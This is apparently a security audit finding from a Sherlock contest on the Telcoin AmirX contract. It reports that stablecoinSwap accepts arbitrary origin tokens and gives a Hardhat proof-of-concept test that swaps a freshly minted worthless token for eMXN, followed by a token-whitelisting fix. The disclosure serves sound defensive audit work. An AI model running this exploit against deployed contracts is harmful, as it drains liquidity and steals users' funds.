Execution of arbitrary swap using bad arguments

Summary

The AmirX contract is a contract that facilitates token swaps and uses collected fees for buyback operations, however the swaps needs to be made by a trusted role which is the SWAPPER. The issue exists in stablecoinSwap(), normally this function is going to take from user an amount of tokens to swap from an origin currency to a target currency. The details of the swap are in form of a struct called StablecoinSwap in StablecoinHandler.sol and the checks for the swap are in swapAndSend function in StablecoinHandler also.

Vulnerability Detail

A user can deploy a malicious tokens and use it in exchange to gain a huge amount of assets that exists in the contract. The bellow POC showcase this exact attack We create a user called Badholder and deploy, grant all the necessary roles to the AmirX contract in order to make the swap happen. We then mint to our address as much as we want from origin Token and propose a swap, even if the value of the tokens we created is 0 we can still reedem it to a valuable token by abusing the swap.

 it("swapAndSendVeryBad", async () => {
            await TestStable.connect(Badholder).initialize("Test", "TTXYZ", 6); //Deploying new token
            await TestStable.connect(Badholder).grantRole(MINTER_ROLE, AmirX); // Allowing AmirX contract to mint tokens
            await TestStable.connect(Badholder).grantRole(BURNER_ROLE, AmirX); // Allowing AmirX contract to burn tokens
            await TestStable.connect(Badholder).grantRole(MINTER_ROLE, Badholder); // Allowing the bad holder to mint tokens 
            await TestStable.connect(Badholder).mintTo(Badholder, 100); // Minting 10 tokens to the holder
            const stableInputs = {
                destination: Badholder,
                origin: TestStable,
                oAmount: 100,
                target: eMXN,
                tAmount: 100
            }

            const defiInputs = {
                aggregator: ZERO_ADDRESS,
                plugin: ZERO_ADDRESS,
                feeToken: ZERO_ADDRESS,
                referrer: ZERO_ADDRESS,
                referralFee: 0,
                walletData: '0x',
                swapData: '0x',
            }

            await TestStable.connect(Badholder).approve(AmirX, 100);
             await AmirX.stablecoinSwap(Badholder, deployer, stableInputs, defiInputs);
            console.log(await TestStable.balanceOf(Badholder)); // This will be 0
            console.log(await eMXN.balanceOf(Badholder)); // This will be 100
        });

Impact

Users will be able to drain all the liquidity by creating an artificial token and start swapping to a more valuable one without any check from the project.

Code Snippet

The stablecoinSwap function in AmirX The swapAndSend function in StablecoinHandler

Tool used

Manual Review

Recommendation

I recommend the project to not allow users to swap from any arbitrary address and for example whitelist the tokens that the project will use. Each time a new token is added by a privileged roles users will be able to swap, and not allowing any one to swap from any origin token to any target one.The only check at this time is that the values entered by users should not be 0 which is not sufficient.

sherlock-audit / 2024-02-telcoin-platform-audit-update-judging

0xhashiman - Execution of arbitrary swap using bad arguments #64